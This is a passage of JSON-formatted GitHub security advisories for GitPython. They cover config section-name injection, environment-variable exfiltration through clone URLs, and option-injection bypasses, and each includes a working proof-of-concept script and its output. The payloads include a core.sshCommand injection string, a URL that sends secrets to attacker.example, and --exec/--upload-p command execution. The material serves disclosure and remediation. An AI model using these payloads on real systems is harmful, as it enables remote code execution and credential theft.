3.1.52`):\n\n```python\nUNSAFE_CONFIG_CHARS_RE = re.compile(r\"[\\r\\n\\x00]\")\n...\ndef _assure_config_name_safe(self, name: \"cp._SectionName\", label: str) -\u003e None:\n    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):\n        raise ValueError(\"Git config %s names must not contain CR, LF, or NUL\" % label)\n```\n\nThe name is then serialized into the header with no escaping of `]`, `[`, `\"`, space, `=` or `#`:\n\n`git/config.py:693`:\n\n```python\nfp.write((\"[%s]\\n\" % name).encode(defenc))\n```\n\nFor submodules the name is wrapped as `submodule \"\u003cname\u003e\"` (`git/objects/submodule/util.py:39`, `return f'submodule \"{name}\"'`), which supplies the balancing quote. A submodule named:\n\n```\nx\"] [core] sshCommand=CMD #\n```\n\ntherefore serializes to the header `[submodule \"x\"] [core] sshCommand=CMD #\"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#\"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.\n\nThe attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`:\n\n- `Repo.create_submodule(name=\u003cuntrusted\u003e, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), \"url\", url)` — a single call, no hostile remote required.\n- `Repo.clone_from(\u003chostile url\u003e)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), \"url\", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`.\n\nAsymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value(\"core\", \"editor\", \"x\\n\\tsshCommand=CMD\")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.\n\n### PoC\n\nSingle self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PoC: git-config section-name injection in GitPython==3.1.52.\"\"\"\nfrom importlib.metadata import version\nimport os, tempfile, subprocess\nimport git\n\nprint(f\"# GitPython {version('GitPython')}\")        # version proof -- first line\n\nMARKER = \"MARKER_9f3a\"                               # inert; never executed\ntmp = tempfile.mkdtemp()\nenv = {**os.environ, \"HOME\": tmp,\n       \"GIT_CONFIG_GLOBAL\": os.path.join(tmp, \"gc\"), \"GIT_CONFIG_SYSTEM\": os.devnull,\n       \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@b.c\",\n       \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@b.c\"}\n\ndef run(*a, cwd=None):\n    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)\n\n# A benign local repo used as the submodule url (a plain path, no network).\nsrc = os.path.join(tmp, \"src\"); os.makedirs(src)\nrun(\"git\", \"init\", \"-q\", src)\nopen(os.path.join(src, \"f\"), \"w\").write(\"x\")\nrun(\"git\", \"add\", \"f\", cwd=src); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=src)\nsuburl = os.path.join(tmp, \"sub.git\"); run(\"git\", \"clone\", \"-q\", \"--bare\", src, suburl)\n\ndef parent_repo():\n    p = tempfile.mkdtemp(dir=tmp)\n    run(\"git\", \"init\", \"-q\", p)\n    open(os.path.join(p, \"r\"), \"w\").write(\"x\")\n    run(\"git\", \"add\", \"r\", cwd=p); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=p)\n    return p\n\ndef injected_sshcommand(parent):\n    r = run(\"git\", \"config\", \"-f\", os.path.join(parent, \".git\", \"config\"),\n            \"--get\", \"core.sshCommand\")\n    return (r.returncode, r.stdout.strip())\n\nbenign = \"docs\"\nevil   = f'x\"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]\n\np_control = parent_repo()\ngit.Repo(p_control).create_submodule(name=benign, path=\"docs\", url=suburl)\np_exploit = parent_repo()\ngit.Repo(p_exploit).create_submodule(name=evil, path=\"sub\", url=suburl)\n\nctl = injected_sshcommand(p_control)\nexp = injected_sshcommand(p_exploit)\nheader = [l for l in open(os.path.join(p_exploit, \".git\", \"config\")).read().splitlines()\n          if l.startswith(\"[submodule\")][0]\n\nprint(\"control name :\", repr(benign))\nprint(\"  git core.sshCommand -\u003e\", ctl, \"(unset)\")\nprint(\"exploit name :\", repr(evil))\nprint(\"  written header      -\u003e\", header)\nprint(\"  git core.sshCommand -\u003e\", exp)\n\nassert ctl[0] != 0 and ctl[1] == \"\", \"control unexpectedly set core.sshCommand\"\nassert exp == (0, MARKER), \"not reproduced\"\nprint(f\"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} \"\n      f\"into the victim's trusted .git/config (git would run it on the next ssh op)\")\n```\n\nRun:\n\n```bash\nuv run --with GitPython==3.1.52 python poc.py\n```\n\nObserved output:\n\n```\n# GitPython 3.1.52\ncontrol name : 'docs'\n  git core.sshCommand -\u003e (1, '') (unset)\nexploit name : 'x\"] [core] sshCommand=MARKER_9f3a #'\n  written header      -\u003e [submodule \"x\"] [core] sshCommand=MARKER_9f3a #\"]\n  git core.sshCommand -\u003e (0, 'MARKER_9f3a')\nVERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)\n```\n\nThe benign name yields a single clean `[submodule \"docs\"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `\"` makes git reject the header); the `submodule \"\u003cname\u003e\"` wrapper balances them automatically.\n\n### Impact\n\nArbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:\n\n- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or\n- `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.\n\nNo non-default git settings are required. Primarily a Unix vector: on Windows the `\"` in the resulting `.git/modules/\u003cname\u003e` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected).\n\n### Recommended fix\n\nReject or escape configuration section/subsection/option **names** that contain `]`, `[`, `\"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T16:22:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2","https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53","https://github.com/advisories/GHSA-3rp5-jjmw-4wv2"],"source_kind":"github","identifiers":["GHSA-3rp5-jjmw-4wv2"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T17:00:09.079Z","updated_at":"2026-10-02T15:01:38.619Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcnA1LWpqbXctNHd2Ms4ABfqy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zcnA1LWpqbXctNHd2Ms4ABfqy","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":"3.1.53","vulnerable_version_range":"\u003c= 3.1.52"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcnA1LWpqbXctNHd2Ms4ABfqy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yd2o4LXBnaDMtcjU3M84ABfLp","url":"https://github.com/advisories/GHSA-rwj8-pgh3-r573","title":"GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL","description":"### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907–925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -\u003e PathLike:\n    \"\"\"Remove any backslashes from URLs to be written in config files.\n    ...\n    \"\"\"\n    if is_cygwin is None:\n        is_cygwin = cls.is_cygwin()\n\n    if is_cygwin:\n        url = cygpath(url)\n    else:\n        url = os.path.expandvars(url)          # \u003c-- line 921\n        if url.startswith(\"~\"):\n            url = os.path.expanduser(url)\n        url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n    return url\n```\n\n`Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407–1418:\n```python\nif not allow_unsafe_protocols:\n    Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n    multi,\n    \"--\",\n    Git.polish_url(url),          # \u003c-- line 1417: expanded URL sent to `git clone`\n    clone_path,\n    ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git                              # noqa: E402\nfrom git import Git, Repo               # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\"  input : {attacker_url}\")\nprint(f\"  output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n    print(\"  -\u003e secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n    def __init__(self, cmd, *a, **kw):\n        if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n            captured[\"cmd\"] = list(cmd)\n        super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd                # noqa: E402\ngitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n    Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n    # The clone fails (attacker.example does not resolve); we only need argv.\n    print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n    print(f\"  {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n    print(\n        \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n        \"into the remote clone URL; git would transmit it to attacker.example.\"\n    )\n    sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n  -\u003e secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n  git\n  clone\n  -v\n  --\n  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n  /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-21T22:06:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573","https://github.com/gitpython-developers/GitPython/pull/2172","https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52","https://nvd.nist.gov/vuln/detail/CVE-2026-67322","https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from","https://github.com/advisories/GHSA-rwj8-pgh3-r573","https://github.com/gitpython-developers/GitPython","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3842.yaml","https://pypi.org/project/gitpython"],"source_kind":"github","identifiers":["GHSA-rwj8-pgh3-r573","CVE-2026-67322"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T23:00:09.238Z","updated_at":"2026-10-02T15:00:27.086Z","epss_percentage":0.00328,"epss_percentile":0.23514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yd2o4LXBnaDMtcjU3M84ABfLp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yd2o4LXBnaDMtcjU3M84ABfLp","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.52","vulnerable_version_range":"\u003c 3.1.52"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yd2o4LXBnaDMtcjU3M84ABfLp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05NTZ4LThndnctd2c1ds4ABfJZ","url":"https://github.com/advisories/GHSA-956x-8gvw-wg5v","title":"GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`","description":"## Summary\n\nGitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in\ngit/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this\ncheck him he is only call from fetch, pull, push and clone_from, everything else who build a git\nargv from caller values just go through, no check, three examples\n\n## Code analysis\n\nRepo.archive (git/repo/base.py:1623) do self.git.archive(\"--\", treeish, *path, **kwargs), the\ntreeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and\nthey land before it, so {\"remote\": \".\", \"exec\": \"\u003ccmd\u003e\"} give\ngit archive --remote=. --exec=\u003ccmd\u003e -- \u003crev\u003e, the --remote spawn the upload-archive helper and\n--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and\narchive already document caller kwargs (format, prefix, path) so pass a dict is normal usage\n\nrepo.git.ls_remote(url, upload_pack=\"\u003ccmd\u003e\"), same builder, same result, it's exactly the kwarg\ngap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic\nrepo.git.\u003canything\u003e(**user_dict) surface him he never got the fix\n\nRepo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev\nbefore the --, no leading-dash check, a \"branch name\" like --output=/etc/whatever become\ngit rev-list --output=... --, and git he open and truncate that file before he even validate the\nrevision, the file is gone even if the command error right after\n\n## PoC\n\nReleased 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here).\n\n```\npip install GitPython   # 3.1.50\n```\n\nCommon setup for the three:\n\n```python\nimport io, os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n                'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\ntmp = tempfile.gettempdir()\n```\n\n1. exec via archive (a service exports a repo and forwards the user's options dict):\n\n```python\nm = os.path.join(tmp, 'gp_archive_check')\ntry: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n2. exec via ls_remote:\n\n```python\nm = os.path.join(tmp, 'gp_lsremote_check')\ntry: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n3. file clobber via a rev that looks like a ref:\n\n```python\nv = os.path.join(tmp, 'release_notes.txt')\nopen(v,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(v).read()))\ntry: list(repo.iter_commits('--output=' + v))\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] after :', repr(open(v).read()), '\u003c- truncated')\n```\n```\n[*] before: 'do not delete\\n'\n[*] Cmd('git') failed due to: exit code(129)\n[+] after : '' \u003c- truncated\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-21T20:10:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v","https://github.com/gitpython-developers/GitPython/pull/2163","https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51","https://nvd.nist.gov/vuln/detail/CVE-2026-67323","https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options","https://github.com/advisories/GHSA-956x-8gvw-wg5v"],"source_kind":"github","identifiers":["GHSA-956x-8gvw-wg5v","CVE-2026-67323"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T21:00:08.046Z","updated_at":"2026-10-08T07:46:53.403Z","epss_percentage":0.01251,"epss_percentile":0.68501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NTZ4LThndnctd2c1ds4ABfJZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05NTZ4LThndnctd2c1ds4ABfJZ","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.51","vulnerable_version_range":"\u003c= 3.1.50"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NTZ4LThndnctd2c1ds4ABfJZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yZjk2LWc3bWgtZzJoeM4ABfJY","url":"https://github.com/advisories/GHSA-2f96-g7mh-g2hx","title":"GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist","description":"## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=\u003cvalue\u003e` → executed as `--upload-pack=\u003cvalue\u003e` → command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n    option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n    option_tokens = option_name.split(None, 1)\n    if not option_tokens:\n        return \"\"\n    return dashify(option_tokens[0])      # only transform: \"_\" -\u003e \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n    for option in options:\n        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n        if unsafe_option is not None:\n            raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--\u003cdashify(name)\u003e=\u003cvalue\u003e` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes — direct RCE |\n| `exe` | `--exec` | push | Yes — direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n    f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\")  # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY 'upload_p' -\u003e --upload-p=\u003cprog\u003e -\u003e git runs \u003cprog\u003e\ntry:\n    Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n    pass  # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker))  # True -\u003e command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol 